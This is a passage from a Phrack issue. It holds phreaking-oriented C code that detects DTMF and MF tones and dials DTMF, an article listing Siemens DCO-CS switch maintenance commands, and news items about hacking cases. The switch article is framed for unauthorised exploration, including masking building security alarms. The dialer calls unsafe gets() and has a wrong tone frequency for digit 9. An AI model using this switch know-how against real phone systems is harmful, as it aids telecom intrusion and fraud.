* input is assumed to be 8 bit samples. The program

* can use either signed or unsigned samples according

* to a compile time option:

*

* cc ‑DUNSIGNED detect.c ‑o detect

*

* for unsigned input (soundblaster) and:

*

* cc detect.c ‑o detect

*

* for signed input (amiga samples)

* if you dont want flushes, ‑DNOFLUSH

*

* Tim N.

*/

#include <stdio.h>

#include <math.h>

#include "detect.h"

/*

* calculate the power of each tone according

* to a modified goertzel algorithm described in

* _digital signal processing applications using the

* ADSP‑2100 family_ by Analog Devices

*

* input is 'data', N sample values

*

* ouput is 'power', NUMTONES values

* corresponding to the power of each tone

*/

calc_power(data,power)

#ifdef UNSIGNED

unsigned char *data;

#else

char *data;

#endif

float *power;

{

float u0[NUMTONES],u1[NUMTONES],t,in;

int i,j;

for(j=0; j<NUMTONES; j++) {

u0[j] = 0.0;

u1[j] = 0.0;

}

for(i=0; i<N; i++) { /* feedback */

#ifdef UNSIGNED

in = ((int)data[i] ‑ 128) / 128.0;

#else

in = data[i] / 128.0;

#endif

for(j=0; j<NUMTONES; j++) {

t = u0[j];

u0[j] = in + coef[j] * u0[j] ‑ u1[j];

u1[j] = t;

}

}

for(j=0; j<NUMTONES; j++) /* feedforward */

power[j] = u0[j] * u0[j] + u1[j] * u1[j] ‑ coef[j] * u0[j] * u1[j]; return(0);

}

/*

* detect which signals are present.

*

* return values defined in the include file

* note: DTMF 3 and MF 7 conflict. To resolve

* this the program only reports MF 7 between

* a KP and an ST, otherwise DTMF 3 is returned

*/

decode(data)

char *data;

{

float power[NUMTONES],thresh,maxpower;

int on[NUMTONES],on_count;

int bcount, rcount, ccount;

int row, col, b1, b2, i;

int r[4],c[4],b[8];

static int MFmode=0;

calc_power(data,power);

for(i=0, maxpower=0.0; i<NUMTONES;i++)

if(power[i] > maxpower)

maxpower = power[i];

/*

for(i=0;i<NUMTONES;i++)

printf("%f, ",power[i]);

printf("\n");

*/

if(maxpower < THRESH) /* silence? */

return(DSIL);

thresh = RANGE * maxpower; /* allowable range of powers */

for(i=0, on_count=0; i<NUMTONES; i++) {

if(power[i] > thresh) {

on[i] = 1;

on_count ++;

} else

on[i] = 0;

}

/*

printf("%4d: ",on_count);

for(i=0;i<NUMTONES;i++)

putchar('0' + on[i]);

printf("\n");

*/

if(on_count == 1) {

if(on[B7])

return(D24);

if(on[B8])

return(D26);

return(‑1);

}

if(on_count == 2) {

if(on[X1] && on[X2])

return(DDT);

if(on[X2] && on[X3])

return(DRING);

if(on[X3] && on[X4])

return(DBUSY);

b[0]= on[B1]; b[1]= on[B2]; b[2]= on[B3]; b[3]= on[B4]; b[4]= on[B5]; b[5]= on[B6]; b[6]= on[B7]; b[7]= on[B8]; c[0]= on[C1]; c[1]= on[C2]; c[2]= on[C3]; c[3]= on[C4]; r[0]= on[R1]; r[1]= on[R2]; r[2]= on[R3]; r[3]= on[R4];

for(i=0, bcount=0; i<8; i++) {

if(b[i]) {

bcount++;

b2 = b1;

b1 = i;

}

}

for(i=0, rcount=0; i<4; i++) {

if(r[i]) {

rcount++;

row = i;

}

}

for(i=0, ccount=0; i<4; i++) {

if(c[i]) {

ccount++;

col = i;

}

}

if(rcount==1 && ccount==1) { /* DTMF */

if(col == 3) /* A,B,C,D */

return(DA + row);

else {

if(row == 3 && col == 0 )

return(DSTAR);

if(row == 3 && col == 2 )

return(DPND);

if(row == 3)

return(D0);

if(row == 0 && col == 2) { /* DTMF 3 conflicts with MF 7 */

if(!MFmode)

return(D3);

} else

return(D1 + col + row*3);

}

}

if(bcount == 2) { /* MF */

/* b1 has upper number, b2 has lower */

switch(b1) {

case 7: return( (b2==6)? D2426: ‑1);

case 6: return(‑1);

case 5: if(b2==2 || b2==3) /* KP */

MFmode=1;

if(b2==4) /* ST */

MFmode=0;

return(DC11 + b2);

/* MF 7 conflicts with DTMF 3, but if we made it

* here then DTMF 3 was already tested for

*/

case 4: return( (b2==3)? D0: D7 + b2);

case 3: return(D4 + b2);

case 2: return(D2 + b2);

case 1: return(D1);

}

}

return(‑1);

}

if(on_count == 0)

return(DSIL);

return(‑1);

}

read_frame(fd,buf)

int fd;

char *buf;

{

int i,x;

for(i=0; i<N; ) {

x = read(fd, &buf[i], N‑i);

if(x <= 0)

return(0);

i += x;

}

return(1);

}

/*

* read in frames, output the decoded

* results

*/

dtmf_to_ascii(fd1, fd2)

int fd1;

FILE *fd2;

{

int x,last= DSIL;

char frame[N+5];

int silence_time;

while(read_frame(fd1, frame)) {

x = decode(frame);

/*

if(x== ‑1) putchar('‑');

if(x==DSIL) putchar(' ');

if(x!=DSIL && x!=‑1) putchar('a' + x);

fflush(stdout);

continue;

*/

if(x >= 0) {

if(x == DSIL)

silence_time += (silence_time>=0)?1:0 ;

else

silence_time= 0;

if(silence_time == FLUSH_TIME) { fputs("\n",fd2);

silence_time= ‑1; /* stop counting */

}

if(x != DSIL && x != last &&

(last == DSIL || last==D24 || last == D26 || last == D2426 || last == DDT || last == DBUSY || last == DRING) ) {

fputs(dtran[x], fd2);

#ifndef NOFLUSH

fflush(fd2);

#endif

}

last = x;

}

}

fputs("\n",fd2);

}

main(argc,argv)

int argc;

char **argv;

{

FILE *output;

int input;

input = 0;

output = stdout;

switch(argc) {

case 1: break;

case 3: output = fopen(argv[2],"w"); if(!output) {

perror(argv[2]);

return(‑1);

}

/* fall through */

case 2: input = open(argv[1],0);

if(input < 0) {

perror(argv[1]);

return(‑1);

}

break;

default:

fprintf(stderr,"usage: %s [input [output]]\n",argv[0]); return(‑1);

}

dtmf_to_ascii(input,output);

fputs("Done.\n",output);

return(0);

}

<‑‑>

<++> dtmf/gen.c

/* ‑‑‑‑‑‑‑‑ local defines (if we had more.. seperate file) ‑‑‑‑‑ */

#define FSAMPLE 8000 /* sampling rate, 8KHz */

/*

* FLOAT_TO_SAMPLE converts a float in the range ‑1.0 to 1.0 * into a format valid to be written out in a sound file

* or to a sound device

*/

#ifdef SIGNED

# define FLOAT_TO_SAMPLE(x) ((char)((x) * 127.0))

#else

# define FLOAT_TO_SAMPLE(x) ((char)((x + 1.0) * 127.0)) #endif

#define SOUND_DEV "/dev/dsp"

typedef char sample;

/* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <fcntl.h>

/*

* take the sine of x, where x is 0 to 65535 (for 0 to 360 degrees) */

float mysine(in)

short in;

{

static coef[] = {

3.140625, 0.02026367, ‑5.325196, 0.5446778, 1.800293 }; float x,y,res;

int sign,i;

if(in < 0) { /* force positive */

sign = ‑1;

in = ‑in;

} else

sign = 1;

if(in >= 0x4000) /* 90 degrees */

in = 0x8000 ‑ in; /* 180 degrees ‑ in */

x = in * (1/32768.0);

y = x; /* y holds x^i) */

res = 0;

for(i=0; i<5; i++) {

res += y * coef[i];

y *= x;

}

return(res * sign);

}

/*

* play tone1 and tone2 (in Hz)

* for 'length' milliseconds

* outputs samples to sound_out

*/

two_tones(sound_out,tone1,tone2,length)

int sound_out;

unsigned int tone1,tone2,length;

{

#define BLEN 128

sample cout[BLEN];

float out;

unsigned int ad1,ad2;

short c1,c2;

int i,l,x;

ad1 = (tone1 << 16) / FSAMPLE;

ad2 = (tone2 << 16) / FSAMPLE;

l = (length * FSAMPLE) / 1000;

x = 0;

for( c1=0, c2=0, i=0 ;

i < l;

i++, c1+= ad1, c2+= ad2 ) {

out = (mysine(c1) + mysine(c2)) * 0.5;

cout[x++] = FLOAT_TO_SAMPLE(out);

if (x==BLEN) {

write(sound_out, cout, x * sizeof(sample));

x=0;

}

}

write(sound_out, cout, x);

}

/*

* silence on 'sound_out'

* for length milliseconds

*/

silence(sound_out,length)

int sound_out;

unsigned int length;

{

int l,i,x;

static sample c0 = FLOAT_TO_SAMPLE(0.0);

sample cout[BLEN];

x = 0;

l = (length * FSAMPLE) / 1000;

for(i=0; i < l; i++) {

cout[x++] = c0;

if (x==BLEN) {

write(sound_out, cout, x * sizeof(sample));

x=0;

}

}

write(sound_out, cout, x);

}

/*

* play a single dtmf tone

* for a length of time,

* input is 0‑9 for digit, 10 for * 11 for #

*/

dtmf(sound_fd, digit, length)

int sound_fd;

int digit, length;

{

/* Freqs for 0‑9, *, # */

static int row[] = {

941, 697, 697, 697, 770, 770, 770, 852, 852, 852, 941, 941 }; static int col[] = {

1336, 1209, 1336, 1477, 1209, 1336, 1477, 1209, 1336, 1447, 1209, 1477 };

two_tones(sound_fd, row[digit], col[digit], length);

}

/*

* take a string and output as dtmf

* valid characters, 0‑9, *, #

* all others play as 50ms silence

*/

dial(sound_fd, number)

int sound_fd;

char *number;

{

int i,x;

char c;

for(i=0;number[i];i++) {

c = number[i];

x = ‑1;

if(c >= '0' && c <= '9')

x = c ‑ '0';

else if(c == '*')

x = 10;

else if(c == '#')

x = 11;

if(x >= 0)

dtmf(sound_fd, x, 50);

silence(sound_fd,50);

}

}

main()

{

int sfd;

char number[100];

sfd = open(SOUND_DEV,O_RDWR);

if(sfd<0) {

perror(SOUND_DEV);

return(‑1);

}

printf("Enter fone number: ");

gets(number);

dial(sfd,number);

}

<‑‑>

<++> dtmf/Makefile

#

# Defines:

# UNSIGNED ‑ use unsigned 8 bit samples

# otherwise use signed 8 bit samples

#

CFLAGS= ‑DUNSIGNED

default:detect gen

detect: detect.c

$(CC) detect.c ‑o detect

gen:gen.c

$(CC) gen.c ‑o gen

clobber: clean

rm ‑rf detect gen

clean:

rm ‑rf *.o core a.out

<‑‑>

DCO Operating System

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

14 of 16

//=================

|| The DCO‑CS Operating System ||

|| ‑*‑

||

|| by Trunkin' Fool AKA mrnobody ||

|| 4.1.97 ||

\\=================

OK... this is the first part of what (hopefully) will be a little series type thing of articles on the DCO operating system, which is from Siemens. DCO is run on an LLS/RLS‑1000/RLS‑4000 machine. It has psychotically mad logging, but the logs are configurable from the admin accounts. The DCO box I was using just happened to only have a 1200 bps dialup, so some operations (i.e. listing INWATS trunks and what they route to) were painfully slow considering the large amount of trunks this thing can control. It is similar to a 4ESS in some ways, and offers some PABX functions. A guy can have lots of fun with one of these things...

Some features/specifications:

Billing Computer Interface

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The DCO‑CS collects AMA data and provides direct data interface with your business computer, as well as 1600 BPI magnetic tape backup or primary data collector"

International Callback

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Allows the system to place a return call to an international subscriber for the dialed domestic number originally called, either through a live or automated operator position."

ISDN Transport

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The DCO‑CS is capable of switching 64 Kb/s data. This allows people (customers, hehe) to switch Primary and Basic Rate ISDN traffic.

LEC Services

‑‑‑‑‑‑‑‑‑‑‑‑

Full LEC services are offered, including POTS (duh), Centrex & Enhanced Centrex (combines ISDN & POTS lines in the same Centrex groups, direct inward dialing, call forwarding, hold, call transfer, intercom, conferencing, OUTWATS over line groups of any size.), CLASS including calling number delivery and display, selective call blocking and forwarding, automatic recall and call trace.

"Hacker intrusion is detected and 'thwarted' by sophisticated pattern recognition software. The DCO‑CS switch lets you detect abused authorization codes and service‑denied authorization codes and automatically route the calls to your service departments. The system also offers timed threshold levels for both ANI and authorization codes as another form of fraud protection. It delivers detailed traffic and facilities usage reports to help you plan the optimum use of your private and leased facilities."

‑‑Siemens Stromberg‑Carlson

Calls are processed simultaneously with separate processors and switching matrices. In the event of a failure, not even calls in the process of being switched are lost because when the failure occurs, the system simply switches to "its redundant processor and memory".

I guess that before I dive straight into the commands, I should discuss something pretty damn important. That something is MMI. MMI stands for Man‑Machine‑Interface,and is basically the 'shell' for this system. First off, in MMI, every command is prefixed by a '$', ie, to run the account maintenance program, "passwm", one would type: "$PASSWM", without the quotes. Always put a comma between parameters. For example, say that a program ADDTFREE requires the parameters SAC(service access code),Toll‑Free Number, and the Trunk to Assign the Toll‑Free number to. The hypothetical command to add a tollfree number, 555‑6969, with a SAC of 800, for example, and route it to (123)456‑7890, would be:

"$ADDTFREE 800,5556969,1234567890"

(without the quotes). The ';' denotes a line terminator. For example, to run a program PROG1, which,say, clears the terminal screen, and the INWANI utility, one would type: "$PROG1;$INWANI", without the quotes. The "" (quotes) are used to contain a string of one or more characters. A string is considered anything that contains either a blank or comma not being used as a delimiter. The '\' allows special characters to be input to tasks (similar to linux/unix?). And finally, the ':' is synonymous to done (whatever that means).

Some more on MMI... The command line/response length is 65 characters, so anything longer than 65 will be truncated. Exit is a valid response at any prompt. Help is also valid and lists the valid responses with descriptions. To automatically display the help information prior to all prompts, type "HELP=ON" without the quotes. "HELP=OFF" disables this function. The '^' is used to back up a menu. Control‑P cancels a function in progress. The '&' represents logical AND. However, the '&&' represents a logical inclusive. The '*' is a wildcard, and allows the user to select the entire range of possibilities.

'Option Words'‑ the option word is entered on the command line after the task(command) name. The Option Word can be either in octal or ASCII.

Value ASCII Definition

‑F1 /NODIAL no dialogue (header or trailer msg output) to terminal ‑F2 /OFFLINE Request communication with offline CP

‑F4 /NOCOMM No user input. All input must be on the command line ‑F40 /NOPAGE Do not paginate output.

Values may be added together to indicate multiple options, eg: ‑F3 = ‑F1 and ‑F2.

One final thing: I said that all commands must be prefixed with a '$', however, this does not apply to input, ie when inside a program it is not necessary.

The next part is basically just a command list for DCO. I will do a more detailed (tutorial even) as i learn more and as people ask for one, or if I just feel like writing it (and I probably do, as I have read Phrack for some time and always wanted to contribute). One last warning: the LLS/RLS is a fairly large system, so be VERY CAREFUL as one can do about as many bad things as good things if you're not careful.

So... without further ado, heres the command list:

Command ~ Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

ABNUTL ‑ perform automatic balance network (ABN) functions ABORT ‑ abort operation of an active task

ACISU ‑ alarm control interface start up

ACITST ‑ alarm control interface test

ACTUTL ‑ display/clear/acknowledge active alarms

ADMIN ‑ recent change/database administration

ALMSEN ‑ switch between local and remote alarm reporting

AMA ‑ configure automatic message accounting (AMA)

AMCDMP ‑ administer AMA message thresholds

AMFMAU ‑ verify formatted AMA tickets

AMOPT ‑ administer system options

AMPRPT ‑ set frequency of repeat notification of alarms AMPUTL ‑ alarm message processing utility

AUDIT ‑ verify software record of hardware states match actual hardware BKRNS ‑ backup RNS disk at the host office

BLDINH ‑ mask/unmask building security alarm (heh, this should be fun) BUFDMP ‑ search/clear/dump CP buffers

CANCEL ‑ cancel wait timer for TID and IDN

CBUG ‑ debug utility for LLS/RLS‑1000 and CODC devices CHEKER ‑ compare MP memory to disk

CHKUTL ‑ verify disk integrity (DCO equivalent of scandisk for dos) CLEAR ‑ initialize span error counters

CODE ‑ DCO‑CS customer routing

CONFIG ‑ configuration control (load,switch,mask, etc.) CONUTL ‑ convert equipment numbers

COPY ‑ copy databases from memory to disk

CPDMP ‑ display data collected from a CP crash

CPPTCH ‑ call processing patch utility

CPREST ‑ online CP reset

CPSRCH ‑ search CP buffer

CPSU ‑ call processing startup

CSADM ‑ DCO‑CS administer ANI DN's and auth codes

DBADMN ‑ DCO‑CS change max entries in selected tables

DBUTL ‑ administer MP database parameters

DBVER ‑ database verifications and configuration reports DEBUG ‑ debug utility for MP

DEVMOU ‑ build config file to rebuild system mount status DIAG2 ‑ manually diagnose/verify fault in the MOS side of the system DIAG3 ‑ manual diagnostics to test forced faults

DMPUTL ‑ duplex MP utility (switchover,download,lock,etc.) DNAUTL ‑ directory number audit utility

DTIUTL ‑ configure/status of DTI/DS1M for LLS/RLS‑1000/RLS‑4000 DUMPER ‑ dump raw data records from disk

ECCRPT ‑ report 1‑bit parity errors corrected in MP/CP/FP ECD ‑ display error counters

EDIT ‑ DCO system editor

EQCHEK ‑ test access to equipped hardware

FILSYS ‑ perform file or disk manipulation functions

FLSH ‑ flush alarm message processing buffers

FLXANI ‑ DCO‑CS administer FLEX ANI tables

FPBUG ‑ debug utility for FP

FPCDMP ‑ display/save data collected from FP crash

FPSU ‑ FP start up

FREE ‑ display number of free blocks in MP memory

FXLN ‑ administer/configure FX communications to an RNS GBUG ‑ generic debug utility

HEY ‑ MP operating system task completion advisor

HSTUTL ‑ collect/retrieve alarm message history

HOTLIN ‑ DCO‑CS administer hotline database

INSTAL ‑ MP operating system manual task installer

INWANI ‑ DCO‑CS administer INWATS number routed by NPA/NXX INWATS ‑ DCO‑CS administer incoming toll free (INWATS) service ISUUTL ‑ administer alarm level priorities and conditions LLC ‑ line load control of subscriber lines

LOGOFF ‑ logs off the terminal

LSPT ‑ light traffic tests (avoid running during heavy traffic) MACLR ‑ clear memory audit data

MANUAL ‑ manual control of ports

MAUDIT ‑ memory audit routine

MBI ‑ report masks and errors on MBI bus

MEMCHK ‑ report differences between CP memory (generic code) and disk MEMMAP ‑ display memory map

MODEM ‑ administer system parameters for modem security MOVEDB ‑ DCO‑CS database compress program

MSKUTL ‑ temporarily mask alarm and message reporting

NITSWC ‑ initiate service circuit switchover

OCC ‑ DCO‑CS administer system options

OPR ‑ administer system operator groups

PABX ‑ administer PABX groups

PARTN ‑ DCO‑CS administer partition number tables

PASSWM ‑ administer user/password list

PATCH ‑ MP operating system patcher

PATRPT ‑ format patch into report

PAUDIT ‑ audit patches applied to disk/system

PCOS ‑ DCO‑CS administer partition class of service

PED ‑ administer/apply/verify patches to disk/system POORA ‑ point of origination for recorded announcements PORTST ‑ list port status; list/change lockout thresholds PSAUTL ‑ port store area (PSA) utility

REBOOT ‑ reboots the maintenance processor

RECOV ‑ put call processors in sync

REMOVE ‑ remove a resident program from memory

RESTOR ‑ restore call processor

RFRNS ‑ copy files from an RNS to the host office

RGU ‑ DCO‑CS least cost routing/update display

RNSAMA ‑ display AMA buffer status in an RNS at the host RNSBMP ‑ display RNS BMP status at the host

RNSUTL ‑ configure/status/diagnostic testing of signaling links ROTL ‑ transmission/operational testing of outgoing & 2‑way trunks ROUTE ‑ DCO‑CS display customer routing

RRTUTL ‑ reroute messages to additional terminal points RSMUTL ‑ remove/restore/mask/unmask/test RLG span

RSUTL ‑ routine switchover utility

RTEST ‑ routine testing

RTOPT ‑ administer analog trunks and service circuits

RTR ‑ administer route treatment database

SBUG ‑ stop FBUG

SCTST ‑ DCO‑CS service circuit diagnostics

SECTTY ‑ administer terminal access groups

SELMCL ‑ outgoing call trace

SELNUM ‑ DCO‑CS administer blocked directory tables

SERV ‑ DCO‑CS change service circuit tables

SLUUTL ‑ configure/administer/mask/test SLUS

SNCUTL ‑ configure/status of SNC for LLS & RLS‑1000

SPCALL ‑ DCO‑CS administer speed codes

STASND ‑ digital alarm sending utility

STATE ‑ display system state

STATE1 ‑ switch to system state 1

STATE2 ‑ switch to system state 2

STATUS ‑ display system status

STOP ‑ terminate execution of TEST, GBUG, DIAG2, or BTBT SWITCH ‑ manually switch tones/ringing generators/clocks (non RLS‑4000) TAPE ‑ display formatted tickets on AMA tape

TASKCK ‑ audits the disk database for necessary/unnecessary files TCOS ‑ administer trunk class of service

TFM ‑ activate/deactive/audit/display TMRS

TFMRP ‑ display specific TMRS measurements/report data/study set TIKFM ‑ DCO‑CS display AMA tape format

TIME ‑ display system date/time

TIMEC ‑ changes system date/time

TIMER ‑ administer/configure CP occupancy measurements TKTHRS ‑ administer trunk thresholds

TMAD ‑ administer/configure TMRS

TMBUG ‑ debugger for traffic measurement processor

TMPDMP ‑ display data collected from a TMP crash

TMRPRT ‑ manually display a TMRS variable report (with FP) TRACE ‑ DCO‑CS call trace utility

TRACER ‑ allows use of tracer board for CP

TRK ‑ administer trunk group assignments

TRKUTL ‑ administer trunk testing database

TSEP ‑ administer/configure traffic separations

TTU ‑ administer translation database

UNMASK ‑ enable reporting of messages & H/W faults (non‑RLS‑4000) UNSYNC ‑ take call processors out of sync

UPACK ‑ unpack a file

UPDATE ‑ update the system state

UTL ‑ mount/dismount device/feature; configure tasks VALPC ‑ DCO‑CS administer validated project codes

VCHECK ‑ version checker

VST ‑ administer variable state timers

XDSO ‑ CP message sender/debugger

XFER ‑ transfer files between the DCO and another system XRTEST ‑ terminate routine testing

Thats all for the commands... I will probably write a follow‑up explaining some of the commands usage, what a DCO looks like when you call it (ie how you know its a DCO machine), what some defaults are, how to route numbers using INWATS or INWANI, and whatever else i figure out... for now, have phun & read Phrack... Feel free to contact me:

mrnobody@pil.net

resources i used:

‑ an actual RLS machine running DCO siemens stromberg‑carlson

‑ my mind

‑ the minds of my phriends, to whom i give much thanks: c‑stone (is thatit?), lefty, port9, cyklonik (hope everything turns out OK....), a guy named don in CA :), and ben (look at me now, m0f0)

sorry if i forgot anything or anyone that helped me...

look out for "The DCO‑CS part 2" soon...

EOF

Phrack World News

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

15 of 16

PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by disorder/alhambra PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Intro: As usual there are literally hundreds of interesting articles that could be put here. I have tried to narrow the focus to hacker/security related stuff only. Enjoy.

Sources: Access All Areas mail list:

echo "help" | mail majordomo@access.org.uk CSP (run by Frosty):

Computer Underground Digest:

echo "subscribe cu‑digest" | mail cu‑digest‑request@weber.ucsd.edu Cyberwire Dispatch:

echo "subscribe" | mail cwd‑l‑request@cyberwerks.com Defcon Stuff:

echo "subscribe" | mail majordomo@dis.org Half a dozen other mail lists, elite people who forward me neat shit, and various news type web pages.

Phrack World News #50 ‑‑ Index

01. Computer Attack Slows Service at New York Times' Web Site

02. [Chinese Hacker Convicted]

03. Phone 'Super Scanner' Alert

04. Computer Hacking Whiz Pleads Guilty To Electronic Break‑And‑Enter 05. Hackers release two upcoming U2 songs on Internet

06. Computer Crime Prompts New Parole Restrictions

07. [Evil Hacker SYN‑Flood's WebCom]

08. German Police Seek 12 After Raids On Computer Gang

09. The tale of the Russian Hacker

10. Expert Warns Of Lax Security On Web

11. [Man pleads guilty to writing AOL hacking soft]

12. Hackers Hack Crack, Steal Quake

13. Hackers Sabotage Blair's Internet Image

14. Police looking into hacking of Government web site

15. Programmer Accused Of Breaking Into California State Contract Data 16. [Australian Phone Worker Rigs Radio Contest]

17. Hacker challenges `dark side' book

01. The 1997 Summer Security Conference

02. Hacking In Progress

03. Defensive Information Warfare And Systems Assurance

04. Second International Workshop on Enterprise Security

05. DEF CON V Convention Announcement #1.00 (02.26.97)

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Computer Attack Slows Service at New York Times' Web Site author:

source: The Wall Street Journal Interactive Edition

date: November 7, 1996

Numerous World Wide Web sites offering political information found themselves overwhelmed by requests for election information from Tuesday night. But the New York Times' Web site also had to deal with waves of requests for access apparently generated by a computer hacker.

Nancy Nielsen, a New York Times Co. spokeswoman, noted that the attacks ‑‑ which continued Wednesday ‑‑ only slowed the Times' computers, which were still able to serve a record number of users on Tuesday.

The attack was similar to a September incident that virtually paralyzed Public Access Networks Corp., or Panix, an Internet‑access provider that hosts nearly a thousand corporate Web sites. In that incident, a computer hacker bombarded the service's computers with requests to send information.

Such attacks, presumably generated by malicious computer programs, work by sending repeated requests ‑‑ sometimes more than a hundred per second ‑seeking to establish a connection to send or receive information. The requests contain fake Internet addresses, which the site's computers waste valuable resources attempting to establish contact with. This process prevents the computers from handling legitimate requests from Internet users for access.

Such attacks are, in effect, similar to campaigns used by some activist groups to flood a politician's switchboard with phone calls. So much time is spent sorting out the bogus calls ‑‑ in this case, the hacker's false requests for an electronic "handshake" with a site's machines ‑‑ that the legitimate ones can't get through. The attacks can be differentiated from heavy volume on a site because of the fake Internet addresses and the regularity with which such requests come in.

Attacks such as the ones directed at Panix and the New York Times underscore a key vulnerability of the Internet.

"This is the first major attack of a kind that I believe to be the final Internet security problem," said William Cheswick, an Internet security expert at the Bell Laboratories unit of Lucent Technologies Inc., in the wake of the attack on Panix.

Mr. Cheswick, who assisted Panix during the attacks, said at the time that while there had been a few previous reports of such incidents, the Panix episode was the most severe.

Internet computers have no quick way of distinguishing a bogus request for information from a real one, Mr. Cheswick noted. While upgrades to the software controlling these computers could ease the problem, hackers could respond with even more intensive attacks.

"There's going to be the usual arms race" between better security measures and hackers, Mr. Cheswick predicts.

Panix tried to find the source of the attack by working backward through the labyrinthine network of phone lines and specialized "router" computers that form the Internet. But there is no easy way to trace such hackers, Mr. Cheswick noted.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: (none) [Chinese Hacker Convicted]

author: Magdalen Chow

source: South China Morning Post

Computer hacker who enjoyed free access to the Internet by using other people's accounts was fined HK$125,000 (about US$16,000) in Hong Kong Monday.

Judge Gareth Lugar‑Mawson also ordered David Yip Shu‑chew, 27, to pay HK$40,400 in compensation to Hong Kong Star Internet Ltd. and HK$404 to one of the people whose accounts he had used.

The judge said he would not order Yip to pay the costs of approximately HK$2.6 million incurred in the prosecution and investigation of the case, but threatened him with jail if he misused the Internet again.

Yip is the first person to be charged with accessing a computer with criminal or dishonest intent under the Crimes Ordinance.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Phone 'Super Scanner' Alert

source: The London Telegraph

date: 12th November 1996

Cellphone fraud, which already costs the British cellphone industry 200 million a year, is increasing because of a new device that makes it easier than ever for criminals to "clone" phones, writes Aisling Irwin.

The new "super‑scanner" can soak up all the identification numbers of vulnerable analogue phones within half a mile. Each phone contains two numbers: its phone number and a secret verification code. When a call is made, the phone transmits the two numbers to the nearest of a network of base stations, which checks that the phone is legitimate before allowing the call to go ahead.

Normally, thieves pick up the numbers as they are transmitted at the beginning of each call. Until now, such thefts have been possible only when victims are making calls ‑ and stealing numbers has taken much longer.

But the new technique, which is far more powerful, only requires mobile phones to be switched on to obtain their identification numbers.

By sending out a signal identical to that of a real base station, the super‑scanner gets the cellphones to yield their numbers. These are received by the scanner, passed to a computer and can then be programmed into stolen phones.

According to the Federation of Communication Services, which represents leading cellphone companies, the new technology has evolved over the past few months. "Its impact is really being felt heavily," said a spokesman. The FCS has launched a campaign to make the advertising, sale, ownership or use of cloning equipment illegal.

Although the FCS says the technique cannot be used to clone digital phones, New Scientist reported last week that criminals may be close to cloning these as well. If so, the problem will be magnified because these can be used abroad.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Computer Hacking Whiz Pleads Guilty To Electronic Break‑And‑Enter

ST. LOUIS (Nov 15, 1996 11:12 a.m. EST) ‑‑ A computer whiz deemed so cunning he could control almost any computer system has accepted a plea bargain for hacking his way into the secret files of two major communications companies.

Christopher Schanot, 20, was linked to the Internet Liberation Front, a group of hackers who have claimed responsibility for some high‑profile computer pranks and who decry the commercialization of cyberspace.

In exchange for a reduced sentence, Schanot pleaded guilty Thursday to two counts of computer fraud and one count of illegal wiretapping. He faces up to 15 years in prison and $750,000 in fines at his sentencing on Jan. 31.

Prosecutors said Schanot broke into national computer networks and had passwords to military computers, the credit reporting service TRW and the phone company Sprint. They gave no indication he tried to profit from his intrusion.

His hacking caused security breaches that companies said cost tens of thousands of dollars to repair.

The break‑ins took place between October 1994 and April 1995, when Schanot was an honor student at a Catholic boys' school in suburban St. Louis. He vanished after graduating in May 1995.

Authorities caught up with Schanot last March and arrested him at the suburban Philadelphia apartment he shared with a 37‑year‑old woman, Netta Gilboa, the publisher of Gray Areas. The magazine professes to explore subject matter that is "illegal, immoral and/or controversial."

In April, Schanot was placed under 24‑hour house arrest and ordered to not even talk about computers.

Originally accused in a five‑count indictment, he pleaded guilty to charges surrounding break‑ins at Southwestern Bell and Bellcore, a communications research company owned by seven regional telephone companies.

Mike Schanot said his son made the plea bargain only after prosecutors threatened him with a wider range of charges.

[dis: You can find a wide variety of other article on Schanot. Check your favorite search engine to find them.]

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hackers release two upcoming U2 songs on Internet

source: The Associated Press

LONDON ‑ Hackers have distributed two unreleased U2 songs on the Internet, possibly after tapping into computers at the Irish rock group's recording studio, the Sunday Times said.

The songs, Discotheque and Wake Up Dead Man, have appeared on Internet sites in at least four countries, the newspaper said. The songs are to appear on an album scheduled for release in the spring.

Since their illicit appearance on the Internet, the songs have also been copied onto compact discs, the Times said. The bootleg CDs are going for $10 at street markets in Ireland and Britain.

"It is an infringement of our copyright," Marc Marot, managing director of Island Records, told the Times.

Island Records did not immediately return calls for comment Sunday. The Sunday Times said the record company is trying to shut down the Internet sites.

Conventional, low‑tech theft of the songs has been ruled out, the newspaper said.

Band managers are investigating the possibility that hackers tapped into computers at U2's Dublin studio, it said. They may have gained access through cables that have been feeding images of the band's recording sessions to an Internet site maintained by Island Records.

Since 1981, U2 has sold 70 million records and grossed more than $1.5 billion.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Computer Crime Prompts New Parole Restrictions

WASHINGTON (Dec 17, 1996 07:42 a.m. EST) ‑‑ The U.S. Parole Commission has approved restrictions on the use of computers by certain high‑risk parolees.

